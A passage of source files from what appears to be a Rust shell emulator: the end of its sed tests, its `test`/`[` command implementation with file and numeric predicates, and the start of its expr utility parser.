\"abc\\nxyz\\n\");\n        assert_eq!(r.stdout, \"abc\\nyyz\\n\");\n    }\n\n    // ── Line number + regex mixed range ──────────────────────────────\n\n    #[test]\n    fn line_regex_mixed_range() {\n        let r = run_sed(&[\"2,/end/d\"], \"a\\nb\\nc\\nend\\nafter\\n\");\n        assert_eq!(r.stdout, \"a\\nafter\\n\");\n    }\n\n    // ── Append followed by other commands ────────────────────────────\n\n    #[test]\n    fn append_then_substitute() {\n        let r = run_sed(&[\"1a\\\\APPENDED;s/a/b/\"], \"aaa\\nxxx\\n\");\n        assert_eq!(r.stdout, \"baa\\nAPPENDED\\nxxx\\n\");\n    }\n\n    #[test]\n    fn append_with_quiet() {\n        let r = run_sed(&[\"-n\", \"1a\\\\APPENDED;1p\"], \"line1\\nline2\\n\");\n        assert_eq!(r.stdout, \"line1\\nAPPENDED\\n\");\n    }\n\n    // ── Dollar sign in replacement ───────────────────────────────────\n\n    #[test]\n    fn dollar_in_replacement() {\n        let r = run_sed(&[\"s/price/$100/\"], \"price\\n\");\n        assert_eq!(r.stdout, \"$100\\n\");\n    }\n\n    // ── Combined flags ───────────────────────────────────────────────\n\n    #[test]\n    fn combined_ne_flag() {\n        let r = run_sed(&[\"-ne\", \"s/a/b/p\"], \"aaa\\nxxx\\n\");\n        assert_eq!(r.stdout, \"baa\\n\");\n    }\n}\n","/home/user/src/commands/test_cmd.rs":"//! Implementation of the `test` and `[` shell commands.\n//!\n//! Evaluates conditional expressions for file tests, string comparisons,\n//! numeric comparisons, and logical operators. Returns exit code 0 for\n//! true, 1 for false, and 2 for usage errors.\n\nuse crate::commands::{CommandContext, CommandResult};\nuse crate::interpreter::pattern::glob_match;\nuse crate::vfs::{NodeType, VirtualFs};\nuse std::path::{Path, PathBuf};\n\n/// Evaluate a `test` / `[` expression from a list of string arguments.\n/// Returns exit code: 0 = true, 1 = false, 2 = error.\npub(crate) fn evaluate_test_args(args: &[String], ctx: &CommandContext) -> CommandResult {\n    if args.is_empty() {\n        // `test` with no args is false\n        return result(1);\n    }\n\n    if args.len() == 3 && args[1] == \"-a\" {\n        return result(if !args[0].is_empty() && !args[2].is_empty() {\n            0\n        } else {\n            1\n        });\n    }\n    if args.len() == 3 && args[1] == \"-o\" {\n        return result(if !args[0].is_empty() || !args[2].is_empty() {\n            0\n        } else {\n            1\n        });\n    }\n\n    match eval_expr(args, ctx, false) {\n        Ok((value, consumed)) => {\n            if consumed != args.len() {\n                error_result(\"too many arguments\")\n            } else {\n                result(if value { 0 } else { 1 })\n            }\n        }\n        Err(msg) => error_result(&msg),\n    }\n}\n\n/// Recursive-descent parser for test expressions.\n/// Returns (bool result, number of tokens consumed).\nfn eval_expr(\n    args: &[String],\n    ctx: &CommandContext,\n    prefer_parenthesized: bool,\n) -> Result<(bool, usize), String> {\n    eval_or(args, ctx, prefer_parenthesized)\n}\n\n/// Parse: expr_or := expr_and ( '-o' expr_and )*\nfn eval_or(\n    args: &[String],\n    ctx: &CommandContext,\n    prefer_parenthesized: bool,\n) -> Result<(bool, usize), String> {\n    let (mut val, mut pos) = eval_and(args, ctx, prefer_parenthesized)?;\n    while pos < args.len() && args[pos] == \"-o\" {\n        let (right, consumed) = eval_and(&args[pos + 1..], ctx, true)?;\n        val = val || right;\n        pos += 1 + consumed;\n    }\n    Ok((val, pos))\n}\n\n/// Parse: expr_and := expr_not ( '-a' expr_not )*\nfn eval_and(\n    args: &[String],\n    ctx: &CommandContext,\n    prefer_parenthesized: bool,\n) -> Result<(bool, usize), String> {\n    let (mut val, mut pos) = eval_not(args, ctx, prefer_parenthesized)?;\n    while pos < args.len() && args[pos] == \"-a\" {\n        let (right, consumed) = eval_not(&args[pos + 1..], ctx, true)?;\n        val = val && right;\n        pos += 1 + consumed;\n    }\n    Ok((val, pos))\n}\n\n/// Parse: expr_not := '!' expr_not | primary\nfn eval_not(\n    args: &[String],\n    ctx: &CommandContext,\n    prefer_parenthesized: bool,\n) -> Result<(bool, usize), String> {\n    if args.is_empty() {\n        return Err(\"argument expected\".to_string());\n    }\n    if args[0] == \"!\" {\n        if args.len() < 2 {\n            // Single \"!\" → non-empty string → true (POSIX 1-arg rule)\n            return Ok((true, 1));\n        }\n        let (val, consumed) = eval_not(&args[1..], ctx, true)?;\n        Ok((!val, 1 + consumed))\n    } else {\n        eval_primary(args, ctx, prefer_parenthesized)\n    }\n}\n\n/// Parse a primary test expression.\nfn eval_primary(\n    args: &[String],\n    ctx: &CommandContext,\n    prefer_parenthesized: bool,\n) -> Result<(bool, usize), String> {\n    if args.is_empty() {\n        return Err(\"argument expected\".to_string());\n    }\n\n    if prefer_parenthesized && args[0] == \"(\" {\n        let (val, consumed) = eval_expr(&args[1..], ctx, true)?;\n        if 1 + consumed >= args.len() || args[1 + consumed] != \")\" {\n            return Err(\"missing ')'\".to_string());\n        }\n        return Ok((val, 2 + consumed)); // ( + consumed + )\n    }\n\n    // Try binary operators (3-token): operand OP operand\n    if args.len() >= 3\n        && let Some(val) = try_binary(&args[0], &args[1], &args[2], ctx)\n    {\n        return Ok((val, 3));\n    }\n\n    // Parenthesized expression: ( expr )\n    if args[0] == \"(\" {\n        let (val, consumed) = eval_expr(&args[1..], ctx, true)?;\n        if 1 + consumed >= args.len() || args[1 + consumed] != \")\" {\n            return Err(\"missing ')'\".to_string());\n        }\n        return Ok((val, 2 + consumed)); // ( + consumed + )\n    }\n\n    // Unary operators (2-token): OP operand\n    if args.len() >= 2\n        && let Some(val) = try_unary(&args[0], &args[1], ctx)\n    {\n        return Ok((val, 2));\n    }\n\n    // Single argument: true if non-empty string\n    Ok((!args[0].is_empty(), 1))\n}\n\n/// Try to evaluate a unary test. Returns None if `op` isn't a unary operator.\nfn try_unary(op: &str, operand: &str, ctx: &CommandContext) -> Option<bool> {\n    match op {\n        // String tests\n        \"-z\" => Some(operand.is_empty()),\n        \"-n\" => Some(!operand.is_empty()),\n\n        // File tests\n        \"-a\" | \"-e\" => Some(file_exists(operand, ctx)),\n        \"-f\" => Some(file_is_regular(operand, ctx)),\n        \"-d\" => Some(file_is_dir(operand, ctx)),\n        \"-L\" | \"-h\" => Some(file_is_symlink(operand, ctx)),\n        \"-s\" => Some(file_size_nonzero(operand, ctx)),\n        \"-r\" => Some(file_has_any_mode_bit(operand, ctx, 0o444)),\n        \"-w\" => Some(file_has_any_mode_bit(operand, ctx, 0o222)),\n        \"-x\" => Some(file_has_any_mode_bit(operand, ctx, 0o111)),\n        \"-O\" | \"-G\" => Some(file_exists(operand, ctx)), // always owned by current user in VFS\n        \"-b\" => Some(false),\n        \"-c\" => Some(file_has_type_bits(operand, ctx, 0o020000)),\n        \"-p\" => Some(file_has_type_bits(operand, ctx, 0o010000)),\n        \"-S\" => Some(file_has_type_bits(operand, ctx, 0o140000)),\n        \"-u\" => Some(file_has_all_mode_bits(operand, ctx, 0o4000)),\n        \"-g\" => Some(file_has_all_mode_bits(operand, ctx, 0o2000)),\n        \"-k\" => Some(file_has_all_mode_bits(operand, ctx, 0o1000)),\n        \"-t\" | \"-N\" => Some(false),\n        \"-o\" => {\n            // Check if shell option is enabled\n            Some(is_shell_option_set(operand, ctx))\n        }\n        \"-v\" => {\n            // Shell variable is set — check array elements if name[index] form\n            if let Some(bracket_pos) = operand.find('[')\n                && operand.ends_with(']')\n            {\n                let name = &operand[..bracket_pos];\n                let index = &operand[bracket_pos + 1..operand.len() - 1];\n                // Strip quotes from index for assoc array keys\n                let index_clean = if (index.starts_with('\"') && index.ends_with('\"'))\n                    || (index.starts_with('\\'') && index.ends_with('\\''))\n                {\n                    &index[1..index.len() - 1]\n                } else {\n                    index\n                };\n                if let Some(vars) = ctx.variables {\n                    if let Some(var) = vars.get(name) {\n                        return Some(match &var.value {\n                            crate::interpreter::VariableValue::IndexedArray(map) => {\n                                let idx = eval_index_expr(index_clean, vars);\n                                if idx < 0 {\n                                    let max_key = map.keys().next_back().copied().unwrap_or(0);\n                                    let resolved = max_key as i64 + 1 + idx;\n                                    resolved >= 0 && map.contains_key(&(resolved as usize))\n                                } else {\n                                    map.contains_key(&(idx as usize))\n                                }\n                            }\n                            crate::interpreter::VariableValue::AssociativeArray(map) => {\n                                // Expand simple $var references in the key.\n                                let expanded = expand_simple_vars(index_clean, vars);\n                                map.contains_key(&expanded)\n                            }\n                            crate::interpreter::VariableValue::Scalar(s) => {\n                                index_clean == \"0\" && !s.is_empty()\n                            }\n                        });\n                    }\n                    return Some(false);\n                }\n            }\n            Some(\n                ctx.variables\n                    .map(|vars| vars.contains_key(operand))\n                    .unwrap_or_else(|| ctx.env.contains_key(operand)),\n            )\n        }\n        _ => None,\n    }\n}\n\n/// Try to evaluate a binary test. Returns None if `op` isn't a binary operator.\nfn try_binary(left: &str, op: &str, right: &str, ctx: &CommandContext) -> Option<bool> {\n    match op {\n        // String comparisons\n        \"=\" | \"==\" => Some(left == right),\n        \"!=\" => Some(left != right),\n        \"<\" => Some(left < right),\n        \">\" => Some(left > right),\n\n        // Glob pattern matching (used in extended test context, but support in [ too)\n        \"=~\" => {\n            // Basic regex match in test command — not standard, return false\n            Some(false)\n        }\n\n        // Numeric comparisons\n        \"-eq\" => numeric_cmp(left, right, |a, b| a == b),\n        \"-ne\" => numeric_cmp(left, right, |a, b| a != b),\n        \"-lt\" => numeric_cmp(left, right, |a, b| a < b),\n        \"-le\" => numeric_cmp(left, right, |a, b| a <= b),\n        \"-gt\" => numeric_cmp(left, right, |a, b| a > b),\n        \"-ge\" => numeric_cmp(left, right, |a, b| a >= b),\n\n        // File comparisons using VFS metadata\n        \"-ef\" => Some(file_same_device_and_inode(left, right, ctx)),\n        \"-nt\" => Some(file_newer_than(left, right, ctx)),\n        \"-ot\" => Some(file_newer_than(right, left, ctx)),\n\n        _ => None,\n    }\n}\n\nfn numeric_cmp(left: &str, right: &str, cmp: impl Fn(i64, i64) -> bool) -> Option<bool> {\n    // test/[ treats all numbers as plain decimal — no octal or hex.\n    let a = left.trim().parse::<i64>().ok()?;\n    let b = right.trim().parse::<i64>().ok()?;\n    Some(cmp(a, b))\n}\n\n/// Parse an integer in bash style: decimal, 0x hex, or 0-prefixed octal.\n/// Returns None for invalid literals (e.g. \"08\" — looks octal but has invalid digits).\n/// Parse a bash integer literal (handles decimal, octal, hex, base-N, signs).\n/// Public wrapper for use from walker.rs [[ ]] arithmetic predicates.\npub(crate) fn parse_bash_int_pub(s: &str) -> Option<i64> {\n    parse_bash_int(s)\n}\n\nfn parse_bash_int(s: &str) -> Option<i64> {\n    let s = s.trim();\n    if s.is_empty() {\n        return Some(0);\n    }\n    // Handle optional leading sign\n    let (negative, s) = if let Some(rest) = s.strip_prefix('-') {\n        (true, rest)\n    } else if let Some(rest) = s.strip_prefix('+') {\n        (false, rest)\n    } else {\n        (false, s)\n    };\n    let val = if let Some(hex) = s.strip_prefix(\"0x\").or_else(|| s.strip_prefix(\"0X\")) {\n        i64::from_str_radix(hex, 16).ok()?\n    } else if s.starts_with('0') && s.len() > 1 && s[1..].chars().all(|c| c.is_ascii_digit()) {\n        // Starts with 0 and has more digits — must be valid octal.\n        // If any digit is 8 or 9, from_str_radix will fail → None (bash errors on \"08\").\n        i64::from_str_radix(s, 8).ok()?\n    } else if let Some(hash_pos) = s.find('#') {\n        // Base-N notation: base#value (e.g., 64#a, 2#1010, 16#ff)\n        let base_str = &s[..hash_pos];\n        let digits = &s[hash_pos + 1..];\n        let base: u32 = base_str.parse().ok()?;\n        if !(2..=64).contains(&base) {\n            return None;\n        }\n        parse_base_n_value(digits, base)?\n    } else {\n        s.parse::<i64>().ok()?\n    };\n    Some(if negative { -val } else { val })\n}\n\n/// Parse a value in base-N notation where N can be 2-64.\n/// For bases > 36, bash uses: 0-9, a-z, A-Z, @, _\nfn parse_base_n_value(digits: &str, base: u32) -> Option<i64> {\n    let mut result: i64 = 0;\n    for c in digits.chars() {\n        let digit_val = match c {\n            '0'..='9' => (c as u32) - ('0' as u32),\n            'a'..='z' => (c as u32) - ('a' as u32) + 10,\n            'A'..='Z' => (c as u32) - ('A' as u32) + 36,\n            '@' => 62,\n            '_' => 63,\n            _ => return None,\n        };\n        if digit_val >= base {\n            return None;\n        }\n        result = result\n            .checked_mul(base as i64)?\n            .checked_add(digit_val as i64)?;\n    }\n    Some(result)\n}\n\n// ── File test helpers ─────────────────────────────────────────────\n\n/// Evaluate an array index expression using available variable context.\n/// Handles: integer literals, simple variable names, and basic binary ops (+, -, *).\nfn eval_index_expr(\n    expr: &str,\n    vars: &std::collections::HashMap<String, crate::interpreter::Variable>,\n) -> i64 {\n    let trimmed = expr.trim();\n    // Integer literal\n    if let Ok(n) = trimmed.parse::<i64>() {\n        return n;\n    }\n    // Single variable name\n    if trimmed\n        .chars()\n        .all(|c| c.is_ascii_alphanumeric() || c == '_')\n    {\n        return vars\n            .get(trimmed)\n            .map(|v| v.value.as_scalar().parse::<i64>().unwrap_or(0))\n            .unwrap_or(0);\n    }\n    // Simple binary expression: look for +, -, * (not at start for unary minus)\n    type BinOp = (char, fn(i64, i64) -> i64);\n    let ops: [BinOp; 3] = [\n        ('+', |a, b| a + b),\n        ('-', |a, b| a - b),\n        ('*', |a, b| a * b),\n    ];\n    for (ch, op) in ops {\n        // Find the operator not at position 0\n        if let Some(pos) = trimmed[1..].find(ch).map(|p| p + 1) {\n            let left = eval_index_expr(&trimmed[..pos], vars);\n            let right = eval_index_expr(&trimmed[pos + 1..], vars);\n            return op(left, right);\n        }\n    }\n    0\n}\n\n/// Expand simple `$name` references in a string using the variable context.\nfn expand_simple_vars(\n    s: &str,\n    vars: &std::collections::HashMap<String, crate::interpreter::Variable>,\n) -> String {\n    let mut result = String::new();\n    let chars: Vec<char> = s.chars().collect();\n    let mut i = 0;\n    while i < chars.len() {\n        if chars[i] == '$' && i + 1 < chars.len() {\n            i += 1;\n            let mut name = String::new();\n            while i < chars.len() && (chars[i].is_ascii_alphanumeric() || chars[i] == '_') {\n                name.push(chars[i]);\n                i += 1;\n            }\n            if let Some(var) = vars.get(&name) {\n                result.push_str(var.value.as_scalar());\n            }\n        } else {\n            result.push(chars[i]);\n            i += 1;\n        }\n    }\n    result\n}\n\nfn resolve_test_path(path_str: &str, ctx: &CommandContext) -> String {\n    if path_str.starts_with('/') {\n        path_str.to_string()\n    } else {\n        format!(\"{}/{}\", ctx.cwd.trim_end_matches('/'), path_str)\n    }\n}\n\nfn file_exists(path_str: &str, ctx: &CommandContext) -> bool {\n    let resolved = resolve_test_path(path_str, ctx);\n    ctx.fs.exists(Path::new(&resolved))\n}\n\nfn file_is_regular(path_str: &str, ctx: &CommandContext) -> bool {\n    let resolved = resolve_test_path(path_str, ctx);\n    ctx.fs\n        .stat(Path::new(&resolved))\n        .map(|m| m.node_type == NodeType::File)\n        .unwrap_or(false)\n}\n\nfn file_is_dir(path_str: &str, ctx: &CommandContext) -> bool {\n    let resolved = resolve_test_path(path_str, ctx);\n    ctx.fs\n        .stat(Path::new(&resolved))\n        .map(|m| m.node_type == NodeType::Directory)\n        .unwrap_or(false)\n}\n\nfn file_is_symlink(path_str: &str, ctx: &CommandContext) -> bool {\n    let resolved = resolve_test_path(path_str, ctx);\n    ctx.fs\n        .lstat(Path::new(&resolved))\n        .map(|m| m.node_type == NodeType::Symlink)\n        .unwrap_or(false)\n}\n\nfn file_size_nonzero(path_str: &str, ctx: &CommandContext) -> bool {\n    let resolved = resolve_test_path(path_str, ctx);\n    ctx.fs\n        .stat(Path::new(&resolved))\n        .map(|m| m.size > 0)\n        .unwrap_or(false)\n}\n\nfn file_has_any_mode_bit(path_str: &str, ctx: &CommandContext, mask: u32) -> bool {\n    let resolved = resolve_test_path(path_str, ctx);\n    ctx.fs\n        .stat(Path::new(&resolved))\n        .map(|m| m.mode & mask != 0)\n        .unwrap_or(false)\n}\n\nfn file_has_all_mode_bits(path_str: &str, ctx: &CommandContext, mask: u32) -> bool {\n    let resolved = resolve_test_path(path_str, ctx);\n    ctx.fs\n        .stat(Path::new(&resolved))\n        .map(|m| m.mode & mask == mask)\n        .unwrap_or(false)\n}\n\nfn file_has_type_bits(path_str: &str, ctx: &CommandContext, kind: u32) -> bool {\n    let resolved = resolve_test_path(path_str, ctx);\n    ctx.fs\n        .stat(Path::new(&resolved))\n        .map(|m| m.mode & 0o170000 == kind)\n        .unwrap_or(false)\n}\n\n/// `-ef`: true if both paths resolve to the same file (same path after resolution).\nfn file_same_device_and_inode(left: &str, right: &str, ctx: &CommandContext) -> bool {\n    let l = resolve_test_path(left, ctx);\n    let r = resolve_test_path(right, ctx);\n    let l_meta = match ctx.fs.stat(Path::new(&l)) {\n        Ok(meta) => meta,\n        Err(_) => return false,\n    };\n    let r_meta = match ctx.fs.stat(Path::new(&r)) {\n        Ok(meta) => meta,\n        Err(_) => return false,\n    };\n    if l_meta.file_id != 0 && l_meta.file_id == r_meta.file_id {\n        return true;\n    }\n    if !ctx.fs.exists(Path::new(&l)) || !ctx.fs.exists(Path::new(&r)) {\n        return false;\n    }\n    // Canonicalize both paths through the VFS\n    let lc = ctx\n        .fs\n        .canonicalize(Path::new(&l))\n        .unwrap_or_else(|_| PathBuf::from(&l));\n    let rc = ctx\n        .fs\n        .canonicalize(Path::new(&r))\n        .unwrap_or_else(|_| PathBuf::from(&r));\n    lc == rc\n}\n\n/// `-nt`: true if left is newer than right (or left exists and right does not).\nfn file_newer_than(left: &str, right: &str, ctx: &CommandContext) -> bool {\n    let l = resolve_test_path(left, ctx);\n    let r = resolve_test_path(right, ctx);\n    let l_meta = ctx.fs.stat(Path::new(&l));\n    let r_meta = ctx.fs.stat(Path::new(&r));\n    match (l_meta, r_meta) {\n        (Ok(lm), Ok(rm)) => lm.mtime > rm.mtime,\n        (Ok(_), Err(_)) => true, // left exists, right doesn't\n        _ => false,\n    }\n}\n\n/// `-o optname`: true if the named shell option is currently enabled.\nfn is_shell_option_set(name: &str, ctx: &CommandContext) -> bool {\n    if let Some(opts) = &ctx.shell_opts {\n        match name {\n            \"errexit\" | \"errtrace\" => opts.errexit,\n            \"nounset\" => opts.nounset,\n            \"pipefail\" => opts.pipefail,\n            \"xtrace\" => opts.xtrace,\n            \"verbose\" => opts.verbose,\n            \"noexec\" => opts.noexec,\n            \"noclobber\" => opts.noclobber,\n            \"allexport\" => opts.allexport,\n            \"noglob\" => opts.noglob,\n            \"posix\" => opts.posix,\n            \"vi\" => opts.vi_mode,\n            \"emacs\" => opts.emacs_mode,\n            _ => false,\n        }\n    } else {\n        false\n    }\n}\n\n// ── Shared helpers for extended test (used by walker.rs) ──────────\n\n/// Evaluate a unary predicate on a path/string for `[[ ]]`.\npub(crate) fn eval_unary_predicate(\n    pred: &brush_parser::ast::UnaryPredicate,\n    operand: &str,\n    fs: &dyn VirtualFs,\n    cwd: &str,\n    env: &std::collections::HashMap<String, String>,\n    shell_opts: Option<&crate::interpreter::ShellOpts>,\n) -> bool {\n    use brush_parser::ast::UnaryPredicate::*;\n\n    let resolve = |s: &str| -> String {\n        if s.starts_with('/') {\n            s.to_string()\n        } else {\n            format!(\"{}/{}\", cwd.trim_end_matches('/'), s)\n        }\n    };\n\n    match pred {\n        FileExists => fs.exists(Path::new(&resolve(operand))),\n        FileExistsAndIsRegularFile => fs\n            .stat(Path::new(&resolve(operand)))\n            .map(|m| m.node_type == NodeType::File)\n            .unwrap_or(false),\n        FileExistsAndIsDir => fs\n            .stat(Path::new(&resolve(operand)))\n            .map(|m| m.node_type == NodeType::Directory)\n            .unwrap_or(false),\n        FileExistsAndIsSymlink => fs\n            .lstat(Path::new(&resolve(operand)))\n            .map(|m| m.node_type == NodeType::Symlink)\n            .unwrap_or(false),\n        FileExistsAndIsReadable | FileExistsAndIsWritable | FileExistsAndIsExecutable => {\n            fs.exists(Path::new(&resolve(operand)))\n        }\n        FileExistsAndIsNotZeroLength => fs\n            .stat(Path::new(&resolve(operand)))\n            .map(|m| m.size > 0)\n            .unwrap_or(false),\n        StringHasZeroLength => operand.is_empty(),\n        StringHasNonZeroLength => !operand.is_empty(),\n        ShellVariableIsSetAndAssigned => env.contains_key(operand),\n        ShellOptionEnabled => {\n            if let Some(opts) = shell_opts {\n                match operand {\n                    \"errexit\" | \"errtrace\" => opts.errexit,\n                    \"nounset\" => opts.nounset,\n                    \"pipefail\" => opts.pipefail,\n                    \"xtrace\" => opts.xtrace,\n                    \"verbose\" => opts.verbose,\n                    \"noexec\" => opts.noexec,\n                    \"noclobber\" => opts.noclobber,\n                    \"allexport\" => opts.allexport,\n                    \"noglob\" => opts.noglob,\n                    \"posix\" => opts.posix,\n                    \"vi\" => opts.vi_mode,\n                    \"emacs\" => opts.emacs_mode,\n                    _ => false,\n                }\n            } else {\n                false\n            }\n        }\n        // -O/-G: always true if file exists (VFS has no user concept)\n        FileExistsAndOwnedByEffectiveGroupId | FileExistsAndOwnedByEffectiveUserId => {\n            fs.exists(Path::new(&resolve(operand)))\n        }\n        // Unsupported file tests\n        FileExistsAndIsBlockSpecialFile\n        | FileExistsAndIsCharSpecialFile\n        | FileExistsAndIsSetgid\n        | FileExistsAndHasStickyBit\n        | FileExistsAndIsFifo\n        | FdIsOpenTerminal\n        | FileExistsAndIsSetuid\n        | FileExistsAndModifiedSinceLastRead\n        | FileExistsAndIsSocket\n        | ShellVariableIsSetAndNameRef => false,\n    }\n}\n\n/// Evaluate a binary predicate for `[[ ]]`.\n/// `pattern_match` controls whether == and != use glob matching (true in [[, false in [).\npub(crate) fn eval_binary_predicate(\n    pred: &brush_parser::ast::BinaryPredicate,\n    left: &str,\n    right: &str,\n    pattern_match: bool,\n    fs: &dyn VirtualFs,\n    cwd: &str,\n) -> bool {\n    use brush_parser::ast::BinaryPredicate::*;\n\n    let resolve = |s: &str| -> String {\n        if s.starts_with('/') {\n            s.to_string()\n        } else {\n            format!(\"{}/{}\", cwd.trim_end_matches('/'), s)\n        }\n    };\n\n    match pred {\n        StringExactlyMatchesString => left == right,\n        StringDoesNotExactlyMatchString => left != right,\n        StringExactlyMatchesPattern => {\n            if pattern_match {\n                glob_match(right, left)\n            } else {\n                left == right\n            }\n        }\n        StringDoesNotExactlyMatchPattern => {\n            if pattern_match {\n                !glob_match(right, left)\n            } else {\n                left != right\n            }\n        }\n        LeftSortsBeforeRight => left < right,\n        LeftSortsAfterRight => left > right,\n        ArithmeticEqualTo => parse_nums(left, right).is_some_and(|(a, b)| a == b),\n        ArithmeticNotEqualTo => parse_nums(left, right).is_some_and(|(a, b)| a != b),\n        ArithmeticLessThan => parse_nums(left, right).is_some_and(|(a, b)| a < b),\n        ArithmeticLessThanOrEqualTo => parse_nums(left, right).is_some_and(|(a, b)| a <= b),\n        ArithmeticGreaterThan => parse_nums(left, right).is_some_and(|(a, b)| a > b),\n        ArithmeticGreaterThanOrEqualTo => parse_nums(left, right).is_some_and(|(a, b)| a >= b),\n        // Regex matching handled separately in extended test\n        StringMatchesRegex | StringContainsSubstring => false,\n        // File comparisons using VFS metadata\n        FilesReferToSameDeviceAndInodeNumbers => {\n            let l = resolve(left);\n            let r = resolve(right);\n            if !fs.exists(Path::new(&l)) || !fs.exists(Path::new(&r)) {\n                return false;\n            }\n            let lc = fs\n                .canonicalize(Path::new(&l))\n                .unwrap_or_else(|_| PathBuf::from(&l));\n            let rc = fs\n                .canonicalize(Path::new(&r))\n                .unwrap_or_else(|_| PathBuf::from(&r));\n            lc == rc\n        }\n        LeftFileIsNewerOrExistsWhenRightDoesNot => {\n            let l = resolve(left);\n            let r = resolve(right);\n            match (fs.stat(Path::new(&l)), fs.stat(Path::new(&r))) {\n                (Ok(lm), Ok(rm)) => lm.mtime > rm.mtime,\n                (Ok(_), Err(_)) => true,\n                _ => false,\n            }\n        }\n        LeftFileIsOlderOrDoesNotExistWhenRightDoes => {\n            let l = resolve(left);\n            let r = resolve(right);\n            match (fs.stat(Path::new(&l)), fs.stat(Path::new(&r))) {\n                (Ok(lm), Ok(rm)) => lm.mtime < rm.mtime,\n                (Err(_), Ok(_)) => true,\n                _ => false,\n            }\n        }\n    }\n}\n\nfn parse_nums(a: &str, b: &str) -> Option<(i64, i64)> {\n    Some((parse_bash_int(a)?, parse_bash_int(b)?))\n}\n\n// ── Result helpers ────────────────────────────────────────────────\n\nfn result(exit_code: i32) -> CommandResult {\n    CommandResult {\n        exit_code,\n        ..CommandResult::default()\n    }\n}\n\nfn error_result(msg: &str) -> CommandResult {\n    CommandResult {\n        stderr: format!(\"test: {msg}\\n\"),\n        exit_code: 2,\n        ..CommandResult::default()\n    }\n}\n","/home/user/src/commands/utils.rs":"//! Utility commands: expr, date, sleep, seq, env, printenv, which, base64,\n//! md5sum, sha256sum, whoami, hostname, uname, yes\n\nuse super::CommandMeta;\nuse crate::commands::exec_cmds::shell_join;\nuse crate::commands::{CommandContext, CommandResult};\nuse std::collections::HashMap;\nuse std::path::PathBuf;\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\n// ── expr ─────────────────────────────────────────────────────────────\n\npub struct ExprCommand;\n\nstatic EXPR_META: CommandMeta = CommandMeta {\n    name: \"expr\",\n    synopsis: \"expr EXPRESSION\",\n    description: \"Evaluate expressions.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for ExprCommand {\n    fn name(&self) -> &str {\n        \"expr\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&EXPR_META)\n    }\n\n    fn execute(&self, args: &[String], _ctx: &CommandContext) -> CommandResult {\n        if args.is_empty() {\n            return CommandResult {\n                stderr: \"expr: missing operand\\n\".into(),\n                exit_code: 2,\n                ..Default::default()\n            };\n        }\n\n        match eval_expr_tokens(args) {\n            Ok(val) => {\n                let exit_code = if val == \"0\" || val.is_empty() { 1 } else { 0 };\n                CommandResult {\n                    stdout: format!(\"{val}\\n\"),\n                    exit_code,\n                    ..Default::default()\n                }\n            }\n            Err(e) => CommandResult {\n                stderr: format!(\"expr: {e}\\n\"),\n                exit_code: 2,\n                ..Default::default()\n            },\n        }\n    }\n}\n\nfn eval_expr_tokens(tokens: &[String]) -> Result<String, String> {\n    // Handle special string operations first\n    if tokens.len() >= 2 && tokens[0] == \"length\" {\n        return Ok(tokens[1].len().to_string());\n    }\n    if tokens.len() >= 4 && tokens[0] == \"substr\" {\n        let s = &tokens[1];\n        let pos: usize = tokens[2]\n            .parse()\n            .map_err(|_| \"non-integer argument\".to_string())?;\n        let len: usize = tokens[3]\n            .parse()\n            .map_err(|_| \"non-integer argument\".to_string())?;\n        if pos == 0 {\n            return Ok(String::new());\n        }\n        let start = pos.saturating_sub(1);\n        let chars: Vec<char> = s.chars().collect();\n        let end = (start + len).min(chars.len());\n        let result: String = chars[start..end].iter().collect();\n        return Ok(result);\n    }\n    if tokens.len() >= 3 && tokens[0] == \"match\" {\n        return expr_match(&tokens[1], &tokens[2]);\n    }\n\n    let mut pos = 0;\n    let result = parse_or(tokens, &mut pos)?;\n    if pos != tokens.len() {\n        return Err(\"syntax error\".to_string());\n    }\n    Ok(result)\n}\n\nfn parse_or(tokens: &[String], pos: &mut usize) -> Result<String, String> {\n    let mut left = parse_and(tokens, pos)?;\n    while *pos < tokens.len() && tokens[*pos] == \"|\" {\n        *pos += 1;\n        let right = parse_and(tokens, pos)?;\n        left = if is_truthy(&left) { left } else { right };\n    }\n    Ok(left)\n}\n\nfn parse_and(tokens: &[String], pos: &mut usize) -> Result<String, String> {\n    let mut left = parse_comparison(tokens, pos)?;\n    while *pos < tokens.len() && tokens[*pos] == \"&\" {\n        *pos += 1;\n        let right = parse_comparison(tokens, pos)?;\n        left = if is_truthy(&left) && is_truthy(&right) {\n            left\n        } else {\n            \"0\".to_string()\n        };\n    }\n    Ok(left)\n}\n\nfn parse_comparison(tokens: &[String], pos: &mut usize) -> Result<String, String> {\n    let left = parse_add(tokens, pos)?;\n    if *pos < tokens.len() {\n        let op = &tokens[*pos];\n        match op.as_str() {\n            \"=\" | \"==\" | \"!=\" | \"<\" | \">\" | \"<=\" | \">=\" => {\n                *pos += 1;\n                let right = parse_add(tokens, pos)?;\n                let result = if let (Ok(l), Ok(r)) = (left.parse::<i64>(), right.parse::<i64>()) {\n                    match op.as_str() {\n                        \"=\" | \"==\" => l == r,\n                        \"!=\" => l != r,\n                        \"<\" => l < r,\n                        \">\" => l > r,\n                        \"<=\" => l <= r,\n                        \">=\" => l >= r,\n                        _ => false,\n                    }\n                } else {\n                    match op.as_str() {\n                        \"=\" | \"==\" => left == right,\n                        \"!=\" => left != right,\n                        \"<\" => left < right,\n                        \">\" => left > right,\n                        \"<=\" => left <= right,\n                        \">=\" => left >= right,\n                        _ => false,\n                    }\n                };\n                return Ok(if result {\n                    \"1\".to_string()\n                } else {\n                    \"0\".to_string()\n                });\n            }\n            _ => {}\n        }\n    }\n    Ok(left)\n}\n\nfn parse_add(tokens: &[String], pos: &mut usize) -> Result<String, String> {\n    let mut left = parse_mul(tokens, pos)?;\n    while *pos < tokens.len() && (tokens[*pos] == \"+\" || tokens[*pos] == \"-\") {\n        let op = tokens[*pos].clone();\n        *pos += 1;\n        let right = parse_mul(tokens, pos)?;\n        let l: i64 = left\n            .parse()\n            .map_err(|_| \"non-integer argument\".to_string())?;\n        let r: i64 = right\n            .parse()\n            .map_err(|_| \"non-integer argument\".to_string())?;\n        left = match op.as_str() {\n            \"+\" => (l + r).to_string(),\n            \"-\" => (l - r).to_string(),\n            _ => unreachable!(),\n        };\n    }\n    Ok(left)\n}\n\nfn parse_mul(tokens: &[String], pos: &mut usize) -> Result<String, String> {\n    let mut left = parse_match(tokens, pos)?;\n    while *pos < 